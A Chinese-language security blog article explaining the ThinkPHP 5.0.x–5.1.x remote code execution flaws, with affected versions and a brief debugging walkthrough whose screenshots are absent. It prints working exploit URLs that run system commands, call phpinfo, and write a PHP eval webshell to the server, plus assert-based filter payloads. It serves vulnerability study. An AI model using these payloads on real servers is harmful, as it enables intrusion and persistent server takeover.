长亭百川云 - 文章详情

ThinkPHP框架漏洞解析

LULU

51

2024-08-09

ThinkPHP 5.x 远程代码执行漏洞-01

简介

漏洞名称:ThinkPHP 5.0.x-5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.0.5 < 5.0.23,ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行

由于ThinkPHP v5框架对控制器名没有进行足够的安全检测,导致在没有开启强制路由的情况下,黑客构造特定的请求,可直接进行远程的代码执行,进而获得服务器权限。

复现

将TP框架的版本替换到对应的范围即可。这里用的是: 5.1.22

ThinkPHP框架的版本可用通过:$Think.version 在页码输出

命令执行

http://域名/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

拿探针

http://www.tp.com/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

写shell

http://www.tp.com/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C%3Fphp%20eval(%24_REQUEST%5B6%5D)%3B%3F%3E

这个需要URL编码

审计

借助xdebug对代码进行断点调试。主要是看这个代码在Thinkphp底层是怎么运行的,以及MVC实现的方式,只要掌握这个基本就能审计代码了。我们拿第一个命令执行来举例:主要审计如何执行到命令的
点断点:

跳出去继续:

然后就是无限进入函数内部,直到:

进去:仔细思考传参

ThinkPHP 5.1.x远程代码执行漏洞-02

简介

漏洞名称:ThinkPHP 5.1.x 远程代码执行漏洞
影响范围:ThinkPHP v5.1.0 < 5.1.31
威胁等级:严重
漏洞类型:远程代码执行

复现

命令执行

http://域名?s=index/\think\Request/input&filter=phpinfo&data=1
http://域名?s=index/\think\Request/input&filter=assert&data=phpinfo();

命令执行2

http://域名/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=calc

加下方wx,拉你一起进群学习

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2